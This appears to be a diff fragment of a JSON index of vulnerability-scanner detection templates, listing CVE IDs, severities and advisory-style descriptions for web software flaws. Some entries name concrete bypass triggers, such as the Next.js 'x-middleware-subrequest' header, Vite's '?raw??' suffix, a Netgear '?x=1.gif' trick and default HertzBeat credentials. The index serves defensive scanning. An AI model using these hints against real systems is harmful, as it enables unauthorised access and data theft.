{"ID":"CVE-2016-8527","Info":{"Name":"Aruba Airwave \u003c8.2.3.1 - Cross-Site Scripting","Severity":"medium","Description":"Aruba Airwave before version 8.2.3.1 is vulnerable to reflected cross-site scripting.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2016/CVE-2016-8527.yaml"}
{"ID":"CVE-2016-9299","Info":{"Name":"Jenkins CLI - HTTP Java Deserialization","Severity":"critical","Description":"The remoting module in Jenkins before 2.32 and LTS before 2.19.3 allows remote attackers to execute arbitrary code via a crafted serialized Java object, which triggers an LDAP query to a third-party server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2016/CVE-2016-9299.yaml"}
{"ID":"CVE-2017-0929","Info":{"Name":"DotNetNuke (DNN) ImageHandler \u003c9.2.0 - Server-Side Request Forgery","Severity":"high","Description":"DotNetNuke (aka DNN) before 9.2.0 suffers from a server-side request forgery vulnerability in the DnnImageHandler class. Attackers may be able to access information about internal network resources.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2017/CVE-2017-0929.yaml"}
{"ID":"CVE-2017-1000028","Info":{"Name":"Oracle GlassFish Server Open Source Edition 4.1 - Local File Inclusion","Severity":"high","Description":"Oracle GlassFish Server Open Source Edition 4.1 is vulnerable to both authenticated and unauthenticated local file inclusion vulnerabilities that can be exploited by issuing specially crafted HTTP GET requests.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2017/CVE-2017-1000028.yaml"}
{"ID":"CVE-2017-1000029","Info":{"Name":"Oracle GlassFish Server Open Source Edition 3.0.1 - Local File Inclusion","Severity":"high","Description":"Oracle GlassFish Server Open Source Edition 3.0.1 (build 22) is vulnerable to unauthenticated local file inclusion vulnerabilities that allow remote attackers to request arbitrary files on the server.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2017/CVE-2017-1000029.yaml"}
@@ -785,6 +784,7 @@
{"ID":"CVE-2019-14696","Info":{"Name":"Open-School 3.0/Community Edition 2.3 - Cross-Site Scripting","Severity":"medium","Description":"Open-School 3.0, and Community Edition 2.3, allows cross-site scripting via the osv/index.php?r=students/guardians/create id parameter.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-14696.yaml"}
{"ID":"CVE-2019-14750","Info":{"Name":"osTicket \u003c 1.12.1 - Cross-Site Scripting","Severity":"medium","Description":"An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1. Stored XSS exists in setup/install.php. It was observed that no input sanitization was provided in the firstname and lastname fields of the application. The insertion of malicious queries in those fields leads to the execution of those queries. This can further lead to cookie stealing or other malicious actions.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-14750.yaml"}
{"ID":"CVE-2019-14789","Info":{"Name":"Custom 404 Pro \u003c 3.2.8 - Cross-Site Scripting","Severity":"medium","Description":"Custom 404 Pro before 3.2.9 is susceptible to cross-site scripting via the title parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-14789.yaml"}
{"ID":"CVE-2019-14793","Info":{"Name":"Meta Box \u003c= 4.16.2 - Arbitrary File Deletion","Severity":"high","Description":"The Meta Box plugin for WordPress is vulnerable to arbitrary file deletion in the ajax_delete_file function. The function accepts any attachment_id from the POST request and directly calls wp_delete_attachment() or unlink() without validating that the attachment belongs to the specified Meta Box field, without path traversal protection on the unlink path, and without any ownership or authorization checks. This makes it possible for authenticated attackers to delete arbitrary files on the server including wp-config.php.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2019/CVE-2019-14793.yaml"}
{"ID":"CVE-2019-14950","Info":{"Name":"WP Live Chat Support \u003c= 8.0.27 — Stored Cross-Site Scripting","Severity":"medium","Description":"wp-live-chat-support plugin before 8.0.27 for WordPress contains a reflected cross-site scripting caused by insufficient sanitization in the GDPR page, letting attackers execute arbitrary scripts in the context of the victim's browser, exploit requires victim to visit a malicious page.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-14950.yaml"}
{"ID":"CVE-2019-14974","Info":{"Name":"SugarCRM Enterprise 9.0.0 - Cross-Site Scripting","Severity":"medium","Description":"SugarCRM Enterprise 9.0.0 contains a cross-site scripting vulnerability via mobile/error-not-supported-platform.html?desktop_url.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-14974.yaml"}
{"ID":"CVE-2019-15043","Info":{"Name":"Grafana - Improper Access Control","Severity":"high","Description":"Grafana 2.x through 6.x before 6.3.4 is susceptible to improper access control. An attacker can delete and create arbitrary snapshots, leading to denial of service.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2019/CVE-2019-15043.yaml"}
@@ -1795,6 +1795,7 @@
{"ID":"CVE-2021-46422","Info":{"Name":"SDT-CW3B1 1.1.0 - OS Command Injection","Severity":"critical","Description":"Telesquare SDT-CW3B1 1.1.0 is affected by an OS command injection vulnerability that allows a remote attacker to execute OS commands without any authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-46422.yaml"}
{"ID":"CVE-2021-46424","Info":{"Name":"Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Delete","Severity":"critical","Description":"Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request.","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2021/CVE-2021-46424.yaml"}
{"ID":"CVE-2021-46704","Info":{"Name":"GenieACS =\u003e 1.2.8 - OS Command Injection","Severity":"critical","Description":"In GenieACS 1.2.x before 1.2.8, the UI interface API is vulnerable to unauthenticated OS command injection via the ping host argument (lib/ui/api.ts and lib/ping.ts). The vulnerability arises from insufficient input validation combined with a missing authorization check.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-46704.yaml"}
{"ID":"CVE-2021-47795","Info":{"Name":"GeoVision GeoWebServer \u003c= 5.3.3 - Local File Inclusion / Cross-Site Scripting","Severity":"high","Description":"GeoVision GeoWebServer 5.3.3 and prior is vulnerable to local file inclusion and cross-site scripting due to improper sanitization of user-supplied input in the WebStrings.srf endpoint. An unauthenticated attacker can read arbitrary files from the server or inject malicious scripts.\n","Classification":{"CVSSScore":"6.2"}},"file_path":"http/cves/2021/CVE-2021-47795.yaml"}
{"ID":"CVE-2022-0087","Info":{"Name":"Keystone 6 Login Page - Open Redirect and Cross-Site Scripting","Severity":"medium","Description":"On the login page, there is a \"from=\" parameter in URL which is vulnerable to open redirect and can be escalated to reflected XSS.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-0087.yaml"}
{"ID":"CVE-2022-0140","Info":{"Name":"WordPress Visual Form Builder \u003c3.0.8 - Information Disclosure","Severity":"medium","Description":"WordPress Visual Form Builder plugin before 3.0.8 contains a information disclosure vulnerability. The plugin does not perform access control on entry form export, allowing an unauthenticated user to export the form entries as CSV files using the vfb-export endpoint.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-0140.yaml"}
{"ID":"CVE-2022-0147","Info":{"Name":"WordPress Cookie Information/Free GDPR Consent Solution \u003c2.0.8 - Cross-Site Scripting","Severity":"medium","Description":"WordPress Cookie Information/Free GDPR Consent Solution plugin prior to 2.0.8 contains a cross-site scripting vulnerability via the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-0147.yaml"}
@@ -2840,7 +2841,7 @@
{"ID":"CVE-2023-50719","Info":{"Name":"XWiki \u003c 4.10.15 - Sensitive Information Disclosure","Severity":"high","Description":"XWiki Platform is a generic wiki platform. Starting in 7.2-milestone-2 and prior to versions 14.10.15, 15.5.2, and 15.7-rc-1, the Solr-based search in XWiki discloses the password hashes of all users to anyone with view right on the respective user profiles. By default, all user profiles are public. This vulnerability also affects any configurations used by extensions that contain passwords like API keys that are viewable for the attacker. Normally, such passwords aren't accessible but this vulnerability would disclose them as plain text. This has been patched in XWiki 14.10.15, 15.5.2 and 15.7RC1. There are no known workarounds for this vulnerability.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-50719.yaml"}
{"ID":"CVE-2023-50720","Info":{"Name":"XWiki \u003c 4.10.15 - Email Disclosure","Severity":"medium","Description":"The Solr-based search in XWiki discloses the email addresses of users even when obfuscation of email addresses is enabled. To demonstrate the vulnerability, search for objcontent:email* using XWiki's regular search interface.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2023/CVE-2023-50720.yaml"}
{"ID":"CVE-2023-5074","Info":{"Name":"D-Link D-View 8 v2.0.1.28 - Authentication Bypass","Severity":"critical","Description":"Use of a static key to protect a JWT token used in user authentication can allow an for an authentication bypass in D-Link D-View 8 v2.0.1.28\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-5074.yaml"}
{"ID":"CVE-2023-50839","Info":{"Name":"JS Help Desk \u003c= 2.8.1 - SQL Injection","Severity":"critical","Description":"The JS Help Desk – Best Help Desk \u0026 Support Plugin plugin for WordPress is vulnerable to SQL Injection via the ‘email' and 'trackingid' parameters in all versions up to 2.8.2 (exclusive) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-50839.yaml"}
{"ID":"CVE-2023-50839","Info":{"Name":"JS Help Desk \u003c= 2.8.1 - SQL Injection","Severity":"critical","Description":"The JS Help Desk – Best Help Desk \u0026 Support Plugin plugin for WordPress is vulnerable to SQL Injection via the 'email' and 'trackingid' parameters in all versions up to 2.8.2 (exclusive) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-50839.yaml"}
{"ID":"CVE-2023-5089","Info":{"Name":"Defender Security \u003c 4.1.0 - Protection Bypass (Hidden Login Page)","Severity":"medium","Description":"The Defender Security WordPress plugin before 4.1.0 does not prevent redirects to the login page via the auth_redirect WordPress function, allowing an unauthenticated visitor to access the login page, even when the hide login page functionality of the plugin is enabled.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2023/CVE-2023-5089.yaml"}
{"ID":"CVE-2023-50917","Info":{"Name":"MajorDoMo thumb.php - OS Command Injection","Severity":"critical","Description":"MajorDoMo (aka Major Domestic Module) before 0662e5e allows command execution via thumb.php shell metacharacters. NOTE: this is unrelated to the Majordomo mailing-list manager.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-50917.yaml"}
{"ID":"CVE-2023-50968","Info":{"Name":"Apache OFBiz \u003c 18.12.11 - Server Side Request Forgery","Severity":"high","Description":"Arbitrary file properties reading vulnerability in Apache Software Foundation Apache OFBiz when user operates an uri call without authorizations. The same uri can be operated to realize a SSRF attack also without authorizations. Users are recommended to upgrade to version 18.12.11, which fixes this issue.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-50968.yaml"}
@@ -3273,6 +3274,7 @@
{"ID":"CVE-2024-41810","Info":{"Name":"Twisted - Open Redirect \u0026 XSS","Severity":"medium","Description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. The Twisted web framework's redirectTo function is vulnerable to reflected XSS if an attacker can control the redirect URL. This template tests for an open redirect and XSS vulnerability in the URL parameter. This vulnerability is fixed in 24.7.0rc1.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-41810.yaml"}
{"ID":"CVE-2024-41955","Info":{"Name":"Open Redirect in Login Redirect - MobSF","Severity":"medium","Description":"Mobile Security Framework (MobSF) is a security research platform for mobile applications in Android, iOS and Windows Mobile. An open redirect vulnerability exist in MobSF authentication view.\n","Classification":{"CVSSScore":"5.2"}},"file_path":"http/cves/2024/CVE-2024-41955.yaml"}
{"ID":"CVE-2024-42009","Info":{"Name":"Roundcube Webmail - Cross-Site Scripting","Severity":"critical","Description":"A Cross-Site Scripting vulnerability in Roundcube through 1.5.7 and 1.6.x through 1.6.7 allows a remote attacker to steal and send emails of a victim via a crafted e-mail message that abuses a Desanitization issue in message_body() in program/actions/mail/show.php.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2024/CVE-2024-42009.yaml"}
{"ID":"CVE-2024-42323","Info":{"Name":"Apache HertzBeat \u003c 1.6.0 - SnakeYAML Deserialization Remote Code Execution","Severity":"high","Description":"Apache HertzBeat versions before 1.6.0 use a vulnerable version of the SnakeYAML library to parse YAML files imported through the `/api/monitors/import` and `/api/alert/defines/import` endpoints. An authenticated user can submit a YAML file that constructs an `org.h2.jdbc.JdbcConnection` with a malicious H2 in-memory JDBC URL whose `INIT` block contains a `CREATE ALIAS ... $$ ... $$` Java source snippet, achieving remote code execution inside the HertzBeat JVM. The vulnerability is exploitable in default deployments because the official Docker image and quickstart documentation ship with the well-known default credentials `admin:hertzbeat`, which the template uses for chained authentication.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2024/CVE-2024-42323.yaml"}
{"ID":"CVE-2024-4257","Info":{"Name":"BlueNet Technology Clinical Browsing System 1.2.1 - Sql Injection","Severity":"medium","Description":"A vulnerability was found in BlueNet Technology Clinical Browsing System 1.2.1. It has been classified as critical. This affects an unknown part of the file /xds/deleteStudy.php. The manipulation of the argument documentUniqueId leads to sql injection. It is possible to initiate the attack remotely.\n","Classification":{"CVSSScore":"6.3"}},"file_path":"http/cves/2024/CVE-2024-4257.yaml"}
{"ID":"CVE-2024-42640","Info":{"Name":"Angular-Base64-Upload - Remote Code Execution","Severity":"critical","Description":"angular-base64-upload prior to v0.1.21 is vulnerable to unauthenticated remote code execution via demo/server.php. Exploiting this vulnerability allows an attacker to upload arbitrary content to the server, which can subsequently be accessed through demo/uploads. This leads to the execution of previously uploaded content and enables the attacker to achieve code execution on the server. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-42640.yaml"}
{"ID":"CVE-2024-42852","Info":{"Name":"AcuToWeb server/10.5.0.7577c8b - Cross-Site Scripting","Severity":"medium","Description":"AcuToWeb server/10.5.0.7577c8b is vulnerable to reflected cross-site scripting (XSS) via the portgw parameter. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-42852.yaml"}
@@ -3397,6 +3399,7 @@
{"ID":"CVE-2024-56145","Info":{"Name":"Craft CMS - Remote Code Execution via Template Path Manipulation","Severity":"critical","Description":"This template identifies a critical Remote Code Execution (RCE) vulnerability in Craft CMS, identified as GHSA-2p6p-9rc9-62j9.\nThe vulnerability exists due to improper handling of the `--templatesPath` query parameter, allowing attackers to execute arbitrary code by referencing malicious Twig templates.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2024/CVE-2024-56145.yaml"}
{"ID":"CVE-2024-56159","Info":{"Name":"Astro - Information Disclosure","Severity":"medium","Description":"Astro versions v5.0.3 through v5.0.7 and Astro v4.16.17 or older with sourcemaps enabled contain a source code disclosure caused by sourcemap files being publicly accessible in the build output folder, letting unauthenticated users read server source code, exploit requires sourcemaps to be enabled.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-56159.yaml"}
{"ID":"CVE-2024-56325","Info":{"Name":"Apache Pinot \u003c 1.3.0 - Authentication Bypass","Severity":"critical","Description":"This vulnerability allows remote attackers to bypass authentication on affected installations of Apache Pinot. Authentication is not required to exploit this vulnerability.The specific flaw exists within the AuthenticationFilter class. The issue results from insufficient neutralization of special characters in a URI. An attacker can leverage this vulnerability to bypass authentication on the system.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-56325.yaml"}
{"ID":"CVE-2024-56511","Info":{"Name":"DataEase \u003c 2.10.4 - Authentication Bypass via Whitelist Path Traversal","Severity":"critical","Description":"DataEase versions up to and including 2.10.3 contain an authentication bypass in `io.dataease.auth.filter.TokenFilter`. The filter passes the raw, unnormalized request URI to `WhitelistUtils.match()`, which only checks for whitelisted prefixes such as `/geo/`, `/customGeo/`, `/map/`, `/oauth2/`, and `/websocket` without resolving `..` segments. By prepending a whitelisted prefix and traversing back into the configured `server.servlet.context-path`, an attacker bypasses the filter while Tomcat still routes the request to the genuine, protected controller. This collapses the entire `/de2api` surface (user management, datasources, dashboards, exports) into unauthenticated access.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-56511.yaml"}
{"ID":"CVE-2024-56512","Info":{"Name":"Apache NiFi - Information Disclosure","Severity":"medium","Description":"Apache NiFi 1.10.0 through 2.0.0 are missing fine-grained authorization checking for Parameter Contexts, referenced Controller Services, and referenced Parameter Providers, when creating new Process Groups. Creating a new Process Group can include binding to a Parameter Context, but in cases where the Process Group did not reference any Parameter values, the framework did not check user authorization for the bound Parameter Context. Missing authorization for a bound Parameter Context enabled clients to download non-sensitive Parameter values after creating the Process Group.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-56512.yaml"}
{"ID":"CVE-2024-57045","Info":{"Name":"D-Link DIR-859 - Information Disclosure","Severity":"critical","Description":"A critical information disclosure vulnerability exists in D-Link devices where sensitive device account information including credentials can be retrieved by sending an unauthenticated request to `/getcfg.php` endpoint with the parameter `SERVICES=DEVICE.ACCOUNT`. This could allow attackers to obtain administrative credentials and gain full control of the affected device.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-57045.yaml"}
{"ID":"CVE-2024-57046","Info":{"Name":"Netgear DGN2200 - Improper Authentication","Severity":"high","Description":"A vulnerability in the Netgear DGN2200 router with firmware version v1.0.0.46 and earlier permits unauthorized individuals to bypass the authentication. When adding \"?x=1.gif\" to the requested url, it will be recognized as passing the authentication.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2024/CVE-2024-57046.yaml"}
@@ -3609,6 +3612,7 @@
{"ID":"CVE-2025-24963","Info":{"Name":"Vitest Browser Mode - Local File Read","Severity":"medium","Description":"Vitest is a testing framework powered by Vite. The `__screenshot-error` handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by `browser.api.host- true`, an attacker can send a request to that handler from remote to get the content of arbitrary files.This `__screenshot-error` handler on the browser mode HTTP server responds any file on the file system. This code was added by commit `2d62051`. Users explicitly exposing the browser mode server to the network by `browser.api.host- true` may get any files exposed. This issue has been addressed in versions 2.1.9 and 3.0.4. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n","Classification":{"CVSSScore":"5.9"}},"file_path":"http/cves/2025/CVE-2025-24963.yaml"}
{"ID":"CVE-2025-25034","Info":{"Name":"SugarCRM - Unauthenticated Remote Code Execution via PHP Object Injection","Severity":"critical","Description":"A PHP object injection vulnerability exists in SugarCRM versions prior to 6.5.24, 6.7.13, 7.5.2.5, 7.6.2.2, and 7.7.1.0 due to improper validation of PHP serialized input in the SugarRestSerialize.php script. The vulnerable code fails to sanitize the rest_data parameter before passing it to the unserialize() function. This allows an unauthenticated attacker to submit crafted serialized data containing malicious object declarations, resulting in arbitrary code execution within the application context. Although SugarCRM released a prior fix in advisory sugarcrm-sa-2016-001, the patch was incomplete and failed to address some vectors.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-25034.yaml"}
{"ID":"CVE-2025-25037","Info":{"Name":"Aquatronica Controller System \u003c= 5.1.6 - Information Disclosure","Severity":"high","Description":"Aquatronica Controller System firmware 5.1.6 and earlier and web interface 2.0 and earlier contain an information disclosure vulnerability caused by unauthenticated access to tcp.php endpoint, letting remote attackers retrieve sensitive configuration data including plaintext credentials, exploit requires no authentication.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-25037.yaml"}
{"ID":"CVE-2025-2505","Info":{"Name":"WordPress Age Gate \u003c= 3.5.3 - Unauthenticated Local File Inclusion","Severity":"critical","Description":"The Age Gate plugin for WordPress up to version 3.5.3 contains a local PHP file inclusion caused by the 'lang' parameter, letting unauthenticated attackers include and execute arbitrary PHP files, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-2505.yaml"}
{"ID":"CVE-2025-25231","Info":{"Name":"Omnissa Workspace ONE UEM - Path Traversal","Severity":"high","Description":"Omnissa Workspace ONE UEM contains a path traversal caused by crafted GET requests to restricted API endpoints, letting malicious actors access sensitive information, exploit requires sending crafted requests.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-25231.yaml"}
{"ID":"CVE-2025-25257","Info":{"Name":"Fortinet FortiWeb - SQL Injection","Severity":"critical","Description":"An improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability [CWE-89] in FortiWeb may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPS requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-25257.yaml"}
{"ID":"CVE-2025-25296","Info":{"Name":"Label Studio \u003c 1.16.0 - Cross-Site Scripting","Severity":"medium","Description":"Label Studio prior to version 1.16.0 contains a cross-site scripting caused by rendering unsanitized user-provided HTML in the /projects/upload-example endpoint, letting attackers execute arbitrary JavaScript via crafted label_config in a GET request, exploit requires victims to visit malicious URL.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-25296.yaml"}
@@ -3652,6 +3656,7 @@
{"ID":"CVE-2025-2907","Info":{"Name":"Order Delivery Date Pro for WooCommerce \u003c 12.3.1 - Arbitrary Option Update","Severity":"critical","Description":"The Order Delivery Date WordPress plugin before 12.3.1 does not have authorization and CSRF checks when importing settings. Furthermore it also lacks proper checks to only update options relevant to the Order Delivery Date WordPress plugin before 12.3.1. This leads to attackers being able to modify the default_user_role to administrator and users_can_register, allowing them to register as an administrator of the site for complete site takeover.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-2907.yaml"}
{"ID":"CVE-2025-29085","Info":{"Name":"Vipshop Saturn Console \u003c= 3.5.1 - SQL Injection via ClusterKey Component","Severity":"critical","Description":"SQL injection vulnerability in vipshop Saturn v.3.5.1 and before allows a remote attacker to execute arbitrary code via /console/dashboard/executorCount?zkClusterKey component.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-29085.yaml"}
{"ID":"CVE-2025-29306","Info":{"Name":"FoxCMS v.1.2.5 - Remote Code Execution","Severity":"critical","Description":"An issue in FoxCMS v.1.2.5 allows a remote attacker to execute arbitrary code via the case display page in the index.html component.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-29306.yaml"}
{"ID":"CVE-2025-29635","Info":{"Name":"D-Link DIR-823X set_prohibiting - Command Injection","Severity":"high","Description":"D-Link DIR-823X 240126 and 240802 contain a command injection caused by sending a POST request to /goform/set_prohibiting, letting an authorized attacker execute arbitrary commands remotely, exploit requires attacker to be authorized.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2025/CVE-2025-29635.yaml"}
{"ID":"CVE-2025-29925","Info":{"Name":"XWiki REST API - Private Pages Disclosure","Severity":"high","Description":"A vulnerability in XWiki's REST API allows unauthenticated users to access information about private pages through the pages endpoint. This could lead to disclosure of sensitive information and page metadata.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-29925.yaml"}
{"ID":"CVE-2025-29927","Info":{"Name":"Next.js Middleware Bypass","Severity":"critical","Description":"Next.js contains a critical middleware bypass vulnerability affecting versions 11.1.4 through 15.2.2.\nThe vulnerability allows attackers to bypass middleware security controls by sending a specially crafted\n'x-middleware-subrequest' header, which can lead to authorization bypass and other security control circumvention.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-29927.yaml"}
{"ID":"CVE-2025-30208","Info":{"Name":"Vite - Arbitrary File Read","Severity":"medium","Description":"Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import\u0026raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-30208.yaml"}
@@ -3811,6 +3816,7 @@
{"ID":"CVE-2025-54726","Info":{"Name":"WordPress JS Archive List \u003c= 6.1.5 - SQL Injection","Severity":"high","Description":"Miguel Useche JS Archive List contains an sql injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-54726.yaml"}
{"ID":"CVE-2025-54782","Info":{"Name":"NestJS DevTools Integration - Remote Code Execution","Severity":"critical","Description":"Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2025/CVE-2025-54782.yaml"}
{"ID":"CVE-2025-54793","Info":{"Name":"Astro SSR - Open Redirect","Severity":"medium","Description":"Astro 5.2.0 through 5.12.7 contains an open redirect caused by improper handling of paths with double slashes in trailing slash redirection logic, letting attackers redirect users to arbitrary external domains, exploit requires on-demand SSR with Node or Cloudflare adapters.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-54793.yaml"}
{"ID":"CVE-2025-54988","Info":{"Name":"Apache Tika - XXE Injection","Severity":"critical","Description":"Apache Tika versions 1.13 through 3.2.1 are vulnerable to XXE via malicious XFA in PDFs, allowing file read and SSRF attacks.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-54988.yaml"}
{"ID":"CVE-2025-55150","Info":{"Name":"Stirling-PDF \u003c 1.1.0 - Server-Side Request Forgery","Severity":"high","Description":"Stirling-PDF \u003c 1.1.0 contains a server side request forgery caused by bypassing the sanitizer in the /api/v1/convert/html/pdf endpoint when processing HTML to PDF conversion, letting attackers perform SSRF, exploit requires local access.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-55150.yaml"}
{"ID":"CVE-2025-55161","Info":{"Name":"Stirling-PDF SSRF via Markdown","Severity":"high","Description":"Stirling-PDF is a locally hosted web application that performs various operations on PDF files. Prior to version 1.1.0, when using the /api/v1/convert/markdown/pdf endpoint to convert Markdown to PDF, the backend calls a third-party tool to process it and includes a sanitizer for security sanitization which can be bypassed and result in SSRF.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-55161.yaml"}
{"ID":"CVE-2025-55169","Info":{"Name":"WeGIA - Directory Traversal","Severity":"critical","Description":"WeGIA is an open source web manager with a focus on the Portuguese language and charitable institutions. Prior to version 3.4.8, a path traversal vulnerability was discovered in the WeGIA application, html/socio/sistema/download_remessa.php endpoint. This vulnerability could allow an attacker to gain unauthorized access to local files in the server and sensitive information stored in config.php. config.php contains information that could allow direct access to the database. This issue has been patched in version 3.4.8.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-55169.yaml"}
@@ -3820,6 +3826,7 @@
{"ID":"CVE-2025-55303","Info":{"Name":"Astro - Unauthorized Third-Party Image Access","Severity":"medium","Description":"Astro \u003c 5.13.2 and \u003c 4.16.18 contains an information disclosure vulnerability caused by improper validation of protocol-relative URLs in the image optimization endpoint, letting attackers serve images from unauthorized third-party domains, exploit requires on-demand rendering deployment.\n","Classification":{"CVSSScore":"6.4"}},"file_path":"http/cves/2025/CVE-2025-55303.yaml"}
{"ID":"CVE-2025-55523","Info":{"Name":"Agent-Zero 0.8.0 - 0.9.4 - Arbitrary File Download","Severity":"high","Description":"Agent-Zero v0.8.0 - 0.9.4 contains a path traversal caused by improper validation in /api/download_work_dir_file.py, letting attackers access unauthorized files, exploit requires crafted request.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-55523.yaml"}
{"ID":"CVE-2025-5569","Info":{"Name":"IdeaCMS \u003c= 1.7 - SQL Injection","Severity":"critical","Description":"IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-5569.yaml"}
